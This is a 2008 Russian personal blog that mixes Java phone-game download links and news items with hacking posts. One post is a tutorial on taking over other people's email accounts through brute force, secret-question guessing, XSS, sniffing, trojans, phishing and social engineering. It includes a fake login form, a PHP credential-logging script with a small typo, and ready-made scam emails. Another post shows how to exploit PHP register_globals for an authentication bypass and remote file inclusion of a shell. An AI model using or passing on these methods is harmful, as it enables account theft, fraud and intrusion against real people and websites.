-Музыка

 -Поиск по дневнику

Поиск сообщений в sotik

 -Подписка по e-mail

 

 -Статистика

Статистика LiveInternet.ru: показано количество хитов и посетителей
Создан: 03.09.2008
Записей: 17
Комментариев: 0
Написано: 17





Без заголовка

Среда, 03 Сентября 2008 г. 22:45 + в цитатник

Islands Missile Invasion

Среда, 03 Сентября 2008 г. 21:49 + в цитатник
 (176x209, 15Kb)
Есть остров в далеке от цивилизации , на который попали люди. Среди этой команды и Вы. Есть возможность разбогатеть на острове и построить свою империю. Строим города , дома и незабываем что есть еще и конкуренты которые попытаются забрать любыми силами то что вы нажили свои непосильным трудом. Есть игра по Bluetooth
скачать--->http://ifolder.ru/5912527
Рубрики:  Java 176*220

Atlantic battle

Среда, 03 Сентября 2008 г. 21:46 + в цитатник
Каждому школьнику известна игра "Морской Бой". Казалось бы, что может быть проще. Но J2ME-игре "Atlantic Battle" стоит уделить особое внимание. Ведь здесь реализована полноценная сетевая игра. Теперь вы можете сыграть с противником (вашим другом или незнакомцем) где бы он ни находился - в Урюпинске или Австралии. Одолеть собственный телефон в однопользовательском режиме игры Atlantic Battle вам также будет весьма не просто. Для этого вам предстоит освоить науку расстановки кораблей и побороться с искусственным интеллектом на уровне "Hard". А для ленивых предусмотрена возможность многократной автоматической расстановки кораблей. Возможность играть через Интернет
скачать---> http://ifolder.ru/5912947
 (176x209, 14Kb)
Рубрики:  Java 176*220

Opera Mini 4

Среда, 03 Сентября 2008 г. 21:38 + в цитатник
 (176x209, 3Kb)
Четвертая версия программы была полностью переделана, была улучшена функция масштабирования страниц, что особенно важно при работе с небольшими экранами. Функция масштабирования основана на той, которая используется в версии Opera для Nintendo Wii. В этой версии представлен сервис Opera Link, который обеспечивает синхронизацию закладок и сайтов Speed Dial между версией Opera для рабочего стола и Opera Mini. Функция работает только с бета-релизом Opera 9.5. Среди других особенностей программы можно отметить: - Автоматический подбор места на странице, с которого можно начать чтение; - Динамическое изменение размера текста и изображений для удобного чтения без использования скроллинга; - Виртуальная мышь для удобной навигации – курсор будет искать ссылки и содержимое и автоматически наводиться на них; - Скроллинг с использованием клавиш: нажмите 2 для перемещения вверх, 4- влево, 6 – вправо, 8- вниз, 5 – для масштабирования; - Использование контекстного меню, возникающего при нажатии на клавишу 1, для доступа к самым популярным функциям; - Поддержка CSS.

скачать---> http://ifolder.ru/6728553
Рубрики:  Java 176*220

Silent Storm

Среда, 03 Сентября 2008 г. 21:35 + в цитатник
 (176x204, 13Kb)
Silent Storm переносит нас на поля сражений Второй мировой войны. Управляя самостоятельно сформированным отрядом спецназовцев, игрок должен собирать сведения и улики, на основе которых он получает новые задания. Выполнять это нелёгкое дело игроку помогают союзники, и их общая главная цель - ни много, ни мало - спасти мир от взрыва атомной бомбы! Есть возможность игры через Интернет

СКАЧАТЬ--->(http://ifolder.ru/6728950)
Рубрики:  Java 176*220

О компании

Среда, 03 Сентября 2008 г. 21:31 + в цитатник
 (115x82, 4Kb)
Компания Motorola была образована в 1928 году в США, и в то далекое время Motorola занималась разработкой полупроводниковой техники, создавая новые решения в области передачи радиосигналов. Ставка на новые технологии позволила компании завоевать свою нишу на мировом рынке электронной аппаратуры.

Развивая собственную инфраструктуру, Motorola постепенно наращивала объемы производства. В настоящий момент в Европе Motorola объединяет 12 производственных предприятий, 12 научно-исследовательских и конструкторских центров, а также более 100 центров сбыта и послепродажного обслуживания.

Motorola предлагает продукцию, отличающуюся не только новаторскими решениями, но и качеством, в четырех независимых областях электроники: системы связи и передачи данных, электронные схемы и компоненты, вычислительная техника, системы управления. Эта области образуют основу, благодаря которой Motorola постоянно укрепляет лидерство на рынке аппаратуры радиосвязи и электронных приборов, используя при этом цифровые методы вычисления и управления таким образом, чтобы новые разработки телекоммуникаций вошли в жизнь обычного человека, сделав ее более комфортной.

Непрерывное улучшение качества продукции и постоянный выпуск новых моделей позволили компании Motorola снискать популярность во всем мире. Компанию можно считать уникальной, поскольку никто, кроме Motorola, не обладает столь богатым опытом в области радиосвязи и не способен предложить столь широкий ассортимент полупроводниковых приборов. Сегодня Motorola мировым промышленным лидером, объем продаж которой составляет 30 миллиардов долларов, а персонал насчитывает более 100 тысяч человек.
Рубрики:  ОТДЫХ

Понемногу о каждом способе

Среда, 03 Сентября 2008 г. 21:29 + в цитатник
На эту тему написанно огромное количество статей. Взлом e-mail всегда
был и будет актуальной темой. В данной статье я хочу рассмотреть некоторые
способы взлома e-mail, некоторые из них лутше, некоторые хуже, но каждый
имеет право на жизнь.
Брут - BruteForce

Брут(от анг. Brute force - грубая сила) - это один из старейших способов взлома,
не только e-mail, но и многих других систем(ftp, telnet…)
Брут, проще говоря - это подбор пароля. Существуют специальные программы,
которые делают это автоматически. Вам надо лишь составить хороший словарь, и
скормить его программе, которая в свою очередь будет по одному перебирать этим
пароли, и если какой-либо из них подойдет, то она известит вас об этом.
Самые популярные программы для брута - это Brutus и Hydra(сслыки в конце статьи).
Brutus - простая в обращении программа, способная подбирать пароли к различным
сервисам(ftp, telnet, pop, form).
Hydra - аналог Brutusa, но более эффективная.
Я не буду описывать как пользоватся этими программами, так как в них нет ничего
сложного. В крайнем случае вы всегда можете задать вопрос на нашем форуме, там
вам всегда помогут.
С помощью брута взламывать очень сложно, так как не факт что в словаре окажется
нужный пароль, да и перебор всех паролей может занять приличное время.

Подбор ответа на "секретный вопрос"

Этот способ порой бывает очень хорош. Часто люди ставят в качестве секретного
вопроса - "Где я живу?" или "Какое ваше любимое блюдо?".
Узнать где живет человек порой не сложно - вбейте его email в поиск на Yandex и
если вам повезет, то вы найдете сайты где он любит бывать(форумы, чаты), и
возможно там будет ответ.
На вопрос "Какое ваше любимое блюдо?" - очень часто отвечают "шашлык", либо
"картошка".
Так же порой ответом на вопрос могут быть фразы - "А тебе зачем?", "Спроси меня",
"Непомню", "Незнаю" и тому подобные.
Так что тут все зависит от вашей смекалки.

XSS

Этот способ очень часто применяют при взломе email.
XSS - это межсайтовый скриптинг. Эта уязвимость дает вам мозможность выполнять
javascript код в броузере жертвы. Тем самым позволяя украсть cookie или
сессию.
Использовать данные способ не просто, для этого требуются некоторые навыки. Но
нет ничего не возможно.
Для взлома e-mail вам потребуется найти XSS уязвимость на том сайте, где
находится e-mail вашей жертвы. Сделать это не просто, и порой даже не
возможно, но попытатся стоит.
Так же вы можете найти либо купить такую уязвимость на различных форумах.
Люди часто продают XSS на mail.ru и XSS на yandex.ru.

Снифер

Если вы находится с жертвой в одной сети, то есть шанс, что вы сможете
перехватить логин и пароль с помощью сниферов. Снифер - это программа для
перехвата сетевого трафика. Существует огромное количество сниферов специально
заточеных под отлов паролей от e-mail. На сайте www.seclab.ru вы можете скачать
такие программмы.

Троян

Если ни один из способов вам не подошел, либо у вас не получилось его реализовать,
то можно попробовать послать жертве - троян. Троян - это программа
которая ворует пароли, и пересывает их вам(хотя трояны бывают разные, и воруют
не только пароли от e-mail). Чтобы жертва скачала и запустила ваш файл - вам
надо написать какое-нибудь правдоподобное письмо. Например - что это обновления
для антивируса, или новая версия Mail.Ru Agent. Тут все зависит от вашей
фантазии.

Фишинг

Фишинг - это один из старейших способов обмана юзеров.
Суть его заключается в том, что вы создаете страницу "двойник". Вы просто
копируете исходный текст страницы, и вывешиваете ее на бесплатном, либо платном
хостинге.
Обычно копируют страницу входа - там где юзеру надо будет ввести пароль.
Когда юзер введет свои логин и пароль, то скрипт на вашей странице запишет их в
файл, либо отправит вам на почту.
Например:
У нас на странице есть форма для ввода логина и пароля. Будем исходить из того,
то на том хостинге где вы разместили страницу - есть поддержка PHP.
Если наша форма выглядит следующим образом:
<&form action="enter.php" method=POST>
Логин: <&input type="text" name="login" size=30><&br>
Пароль: <&input type="password" name="pass" size=30><&br>
<&input type=submit value="Войти">
<&/form>

Я не буду подробо рассматривать каждую строчку, так как в цели данной статьи не
входит изучение HTML, если вам что-то не понятно, то скачайте учебник по HTML и
попробуйте разобратся.

Итак, наша форма имеет два поля ввода: login и pass. При нажатии на кнопку
"Войти", данные из этих полей будут переданы скрипту enter.php методом POST.
Скрипт enter.php может быть примерно следующего содержания:
$log = $_POST["login"];
$pas = $_POST["pass"];
if($log == "" && $pas == "") { echo "Please fill login&password fields";exit;}
$file = "mails.txt";
$f p = fopen($file, "w+");
fwrite($fp, "$log:$pasrn");
fclose($fp);
echo "";
?>

Принцип его прост - скрипт получает логин и пароль введеные пользователем, и
если они не пусты, то записывает их в файл, и затем перенаправляет юзера на
реальную страницу.

Теперь придумываем текст письма, и заставляем юзера зайти на вашу страницу.

Поздравляем - Вам открытка
Это одна из возможностей использования предыдущего способа.
Очень часто система @Mail.ru рассылает открытки, поздравляя с праздниками и
днями рождения.
Вы составляете письмо якобы от @Mail.ru, и отсылаете его юзеру. Конечно письмо
должно быть отправленно в том же виде как его рассылает @Mail.ru, так же
желательно чтоб обратный адрес был такой же как от @Mail.ru.(как отправлять
письма от чужого имени - вы сможете прочитать следующих статьях)

Когда все готово - отсылаем письмо юзеру, и ждем пока он зайдет на вашу страницу.
Этот метод наиболее дейтсвенный на данный момент.

Лох - это судьба?

Очень давно - году этак в 2001, я в первые увидел этот способ.
В то время это был популярный способ достать пароли от мыльников.
Суть заключается в следующем:
На различные форумы рассылаются сообщения подобного рода:
"Привет!
Я недавно узнал что у почтовой системы Mail.Ru есть огромный баг! Все дело в
том, что у них есть сервис Восстановление Пароля, так вот, обработкой запросов
занимается робот!! Который сидит на адресе password_robot@mail.ru
Если отправить специальное письмо на этот адрес, то вам прийдет пароль от
нужного ящика!!
Письмо надо отправлять такое:
Тема письма - ?password!(#newpassword#)!edit
Кому - password_robot@mail.ru
Тело письма:
First - тут E-mail от которого требуется восстановить пароль
Pass - тут любое слово
Recover_new_password_for:тут ваш E-Mail
Pass_For_Recover:тут ваш пароль
Do_Now_Sig:0x00100111

Отправив такое письмо, к вам прийдет пароль!!!"

Естесственно никакого робота нету, а E-Mail password_robot@mail.ru принадлежит
автору этого сообщения и ваш пароль уйдет к нему.
В настоящие время этот способ уже не актуален, так как каждый 2-й знает про
него. Но до сих пор попадаются индивидумы, которые пытаются развести людей
подобным образом.

Социальная Иженерия

Для реализации этого способа, вам необходимо обладать навыками Соцаильной
Инженерии(основы которой вы можете почерпнуть из статей на нашем сайте)
Самый простой пример Социальной Инженерии для доставания пароля от E-Mail
- это отправить юзеру письмо следующего содержания:

Дорогой пользователь!
Мы вынужденны довести до вашего сведения, что ваш почтовый ящик в скором времени
может быть закрыт, из-за недостаточной активности на нем.
Чтобы этого не произошло - вам необходимо заполнить нижепреведенную форму, и
переслать ее нам.
Форма:
Имя - ваше имя
Фамилия - ваша фамилия
Город - город вашего проживания
Страна - страна вашего проживания
Логин для входа в систему - впишите тут ваш логин(то что идет до @)
Пароль - впишите тут ваш пароль

Если вы не заполните данную форму, и не перешлете ее нам в течении 3-х дней, то
мы вынужденны будем закрыть ваш почтой адрес.

Как определить прослушку?

Среда, 03 Сентября 2008 г. 21:28 + в цитатник
Эта часть RPM самая короткая. Она посвящена обнаружению "прослушки" - прослушивания телефонных переговоров. Не жучков, которые самодеятельные "детективы" подклчючают к Вашей телефонной линии, а "официальной прослушки", проводимой доблестными "органами". Материал написан по мотивам реальной истории, проишедшей с моим знакомым.

В отличие от Ваших недругов, которым достаточно всего-лишь знать, о чем Вы болтаете по телефону, "друзья" хотят знать все, в т.ч. и с кем именно Вы говорите. В России до полного перехода на современные системы межстанционной сигнализации это можно сделать всего двумя способами: при помощи АОНа и вручную, удержав и протрассировав вызов (занимает достаточно длительное время, поскольку требует ручного анализа состояния коммутационных приборов на всех АТС, через которые прошел вызов). Поэтому "друзья", интересующиеся, кто именно Вам звонит, не просто подключают записывающее оборудование к Вашему абонентскому комплекту, но еще и выдают запрос АОН при каждом вызове на Ваш телефон. Именно это и позволяет обнаружить их присуствие.

Чтобы обнаружить запрос АОН при звонке с обычного телефона требуется очень серьезная тренировка и большое числа экспериментов, поскольку вся разница между звонком на телефон с АОНом и телефон без АОНа заключается лишь в длительности щелчка в момент снятия трубки вызываемым абонентом. Однако, для проверки наличия прослушки вовсе не обязательно звонить с обычного телефона - найдите линию с АТС, на которой отсуствует отвечающая аппаратура АОН, и Вы услышите запрос АОНа в трубке. Найти такую линию не очень сложно - подойдет линия с большинства старых ведомственных АТС, стоящих по большим гос. учреждениям. Возможно, подойдет и линия с АТС коммерческого оператора или сотовый телефон, но в последнее время наблюдается тенденция к установке на этих АТС отвечающей части АОН.

Таким образом, для проверки наличия "прослушки" на линии X Вам надо:
найти "безответную" линию Y;
позвонить с нее на телефон Z, на котором Вы сами установите АОН, и убедиться, что Ваш номер не определяется, и Вы слышите запрос АОН (серию коротких писков частотой 500 Гц);
позвонить на телефон X и внимательно слушайть - в тот момент, когда абонент на телефоне X снимет трубку, Вы можете услышать запрос АОН.
Запрос от "прослушки" отличается от запроса от бытового АОНа - это непрерывный "писк" частотой 500 Гц в течении 1-2 секунд. Если Вы его слышите, можете быть точно уверены что кто-то очень хочет знать, кто именно звонит X. Если X является абонентом аналоговой АТС (декадно-шаговая, координатная), то наличие "неизвестно чьего" запроса АОН однозначно свидетельствует о наличии "прослушки". Если телефон X подключен к электронной АТС, то наличие запроса АОН может означать и просто активизацию на АТС функцию определения номеров абонентов. Однако, если абонент X ее не заказывал и не оплачивал, то возникает естественный вопрос - кто и зачем ее включил?

Конечно, отсутствие запроса АОН не дает Вам никаких гарантий. Но вот наличие запроса АОН точно свидетельствует о том, что что-то неладно, и что настало время проконсультироваться со своим адвокатом :)

Без заголовка

Среда, 03 Сентября 2008 г. 21:18 + в цитатник
Сейчас я расскажу , о том как поиметь сайт, который использует включенный режим Register Globals .
По дефолту , этот режим включен в PHP версиях ниже 5.
Что такое Register Globals ?
Это режим в котором можно создавать глобальные переменные , вот пример :
http://localhost/script.php?name=vasili в данном случае создастся переменная name со значением "vasili".
Как это использовать ?
Допустим в скрипте есть авторизация при которой , если данные верны , создаётся переменная status со значением "ok" ,
после чего идёт проверка на значение "ok" , и если значение "ok" то открывается доступ к админке...
Для того чтобы поиметь такой сайт , достаточно передать скрипту значение "ok" в переменной status ,
и доступ будет открыт.
Еще пример .
Допустим в скрипте есть подключение локального файла.
Вот как это выглядит : include($root/option.php);
Теперь от нас всего лиш потребуется ввести в переменной root ,
адрес нашего сайта с предварительно записанным шелом с именем option.php ,
и скрипт выполнит наш файл как родной , пример :
http://localhost/script.php?root=http://target/ или
http://localhost/script.php?root=http://target/shell.php%00
%00 - это нулевой символ(символ с нулевым байтом) который обрезает идущие после него данные , в данном случае обрезается значение option.php,
что даст нам возможность выполнить файл с любым указанным именем .

Красиво и доступно, а главное ПОНЯТНО показано, как использовать SQl уязвимость. Как

Среда, 03 Сентября 2008 г. 21:14 + в цитатник

 (700x440, 53Kb)

Дементьева не попала в состав сборной России на финал Кубка Федерации

Среда, 03 Сентября 2008 г. 20:57 + в цитатник
Капитан женской сборной России по теннису Шамиль Тарпищев назвал состав команды на финальный матч Кубка Федерации против сборной Испании. За россиянок в этом противостоянии не сыграют финалистки Олимпийских игр 2008 года в Пекине Елена Дементьева и Динара Сафина. Об этом сообщает агентство "Весь спорт".

По словам Тарпищева, тренерский штаб решил не включать этих спортсменок в состав команды, чтобы не отвлекать их от борьбы за высокие места в мировом рейтинге Женской теннисной ассоциации (WTA). В настоящее время Дементьева занимает в нем шестое место, а Сафина является седьмой ракеткой мира.

В финале Кубка Федерации за сборную России выступят Светлана Кузнецова (четвертое место в мировом рейтинге от 25 августа 2008 года), бронзовый призер Олимпиады-2008 Вера Звонарева (десятая ракетка мира), Екатерина Макарова (56-я ракетка мира) и Елена Веснина (71-е место рейтинга).

О том, что Дементьева и Сафина могут быть не включены в состав национальной команды на финал Кубка Федерации, Тарпищев заявил в понедельник, 1 сентября. Тогда капитан сборной называл в числе кандидаток на замену 21-ю ракетку мира Надежду Петрову. В тот же день Сафина заявила, что не примет участия в финале из-за того, что чувствует себя крайне утомленной.

Финал Кубка Федерации сезона-2008 пройдет 13-14 сентября в Мадриде. В рамках решающего матча предусмотрены четыре одиночные и одна парная встреча. Обладателем Кубка станет команда, которая первой одержит три победы. Предыдущая встреча женских сборных России и Испании в 2007 году завершилась со счетом 5:0 в пользу россиянок.
 (340x255, 13Kb)
Рубрики:  Н О В О С Т И

Из китайского музея украли старинное бронзовое зеркало

Среда, 03 Сентября 2008 г. 20:55 + в цитатник
 (340x235, 7Kb)
Бронзовое зеркало, созданное в период царств Вэй и Цзинь (220-420 год нашей эры), похищено из муниципального музея китайского города Дуньхуан (Dunhuang). Как сообщает агентство Xinhua, факт кражи, совершенной еще 24 августа, подтвердил куратор музея.

Похищенное зеркало имеет 11 сантиметров в диаметре и толщину около 0,3 сантиметра, на его обороте выполнена надпись иероглифами, которая в приблизительном переводе означает "среди высокопоставленных чиновников". Из музея пропали еще три бронзовых зеркала, представляющих меньшую ценность.

По словам куратора, инфракрасная система сигнализации работала в музее вечером накануне кражи, которая была совершена в часы, когда экспозиция была открыта для посетителей. Пропавшее зеркало относится высшей категории культурного наследия, ведется расследование.

В Дуньхуане, расположенном на северо-западе Китая в провинции Ганьсу, пересекались северное и южное ответвления Великого шелкового пути. Дуньхуан считался воротами в Китай и был центром культурной и духовной жизни на окраине древних царств.

«The Abbey: Мистическое убийство» в печати

Среда, 03 Сентября 2008 г. 20:48 + в цитатник
5584_l (500x329, 73Kb)
Компания «Акелла» объявила о начале тиражирования мастер-диска с мультипликационной адвенчурой «The Abbey: Мистическое убийство». По заданию Ватикана главный герой игры, инквизитор Леонардо, отправится в уединенное аббатство, где происходит серия загадочных преступлений. По прибытию на место, протагонист понимает, что убийства – лишь только начало истории, и за ширмой обычного проишествия скрываются мрачные тайны, хранимые монахами на протяжении многих лет.

Новый квест удачно сочетает в себе около 1000 сцен, 60 игровых персонажей, 40 часов геймплея, более 70 минут музыки в исполнении Симфонического Оркестра Праги, а также уникальный метод совмещения 2D и 3D графики.
Рубрики:  ОТДЫХ

НАТО начало контролировать воздушное пространство Грузии

Среда, 03 Сентября 2008 г. 20:46 + в цитатник
 (340x255, 20Kb)
Система контроля воздушного сообщения Грузии подключена к аналогичной системе НАТО, что позволит альянсу получать информацию с грузинских радаров, сообщает корреспондент ИТАР-ТАСС в Брюсселе, присутствовавший на еженедельном брифинге пресс-секретаря НАТО Джеймса Аппатурая (James Appathurai).

Представитель альянса отметил, что грузинская система воздушного контроля "в значительной степени разрушена" в ходе боевых действий и потребуется некоторое время, чтобы удовлетворить просьбу Тбилиси о помощи в восстановлении радаров.

Решение о присоединении Грузии к программе НАТО по обмену данными о ситуации в воздушном пространстве было принято еще в марте 2008 года. В Тбилиси заявляли, что использование современных методов контроля поможет точно установить факты нарушения воздушного пространства страны. Ранее грузинские власти неоднократно обвиняли российские ВВС во вторжении в ее воздушное пространство, но так и не смогли это доказать.

К настоящему времени в единую систему воздушного контроля НАТО входят члены альянса и Австрия. Кроме того, соглашение об участии в программе подписали Албания, Финляндия и Украина.
Рубрики:  Н О В О С Т И

Хакеры-это

Среда, 03 Сентября 2008 г. 20:25 + в цитатник
 (468x360, 53Kb)
Хакер (изначально — кто-либо, делающий мебель при помощи топора):

1. Человек, любящий исследование подробностей (деталей) программируемых систем, изучение вопроса повышения их возможностей, в противоположность большинству пользователей, которые предпочитают ограничиваться изучением необходимого минимума. RFC 1392 усиливает это определение следующим образом: «Человек, наслаждающийся доскональным пониманием внутренних действий систем, компьютеров и компьютерных сетей в особенности».
2. Кто-либо программирующий с энтузиазмом (даже одержимо), или любящий программировать, а не просто теоретизировать о программировании.
3. Человек, способный ценить и понимать хакерские ценности.
4. Человек, который силён в быстром программировании.
5. Эксперт по отношению к определённой компьютерной программе, или кто-либо часто работающий с ней; пример: «хакер Unix». (Определения с первого по пятое — взаимосвязанные, так что один человек может попадать под несколько из них.)
6. Эксперт или энтузиаст любого рода. Кто-либо может считаться «хакером астрономии», например.
7. Кто-либо любящий интеллектуальные испытания, заключающиеся в творческом преодолении или обходе ограничений.

Дневник lamer

Среда, 03 Сентября 2008 г. 19:14 + в цитатник
Привет,этот блог посвещается всем ламерам, которым надоело быть жертвой обнаглевших рож, которые за пару секунд взламывают все их компы...
 (430x415, 16Kb)


Поиск сообщений в sotik
Страницы: [1] Календарь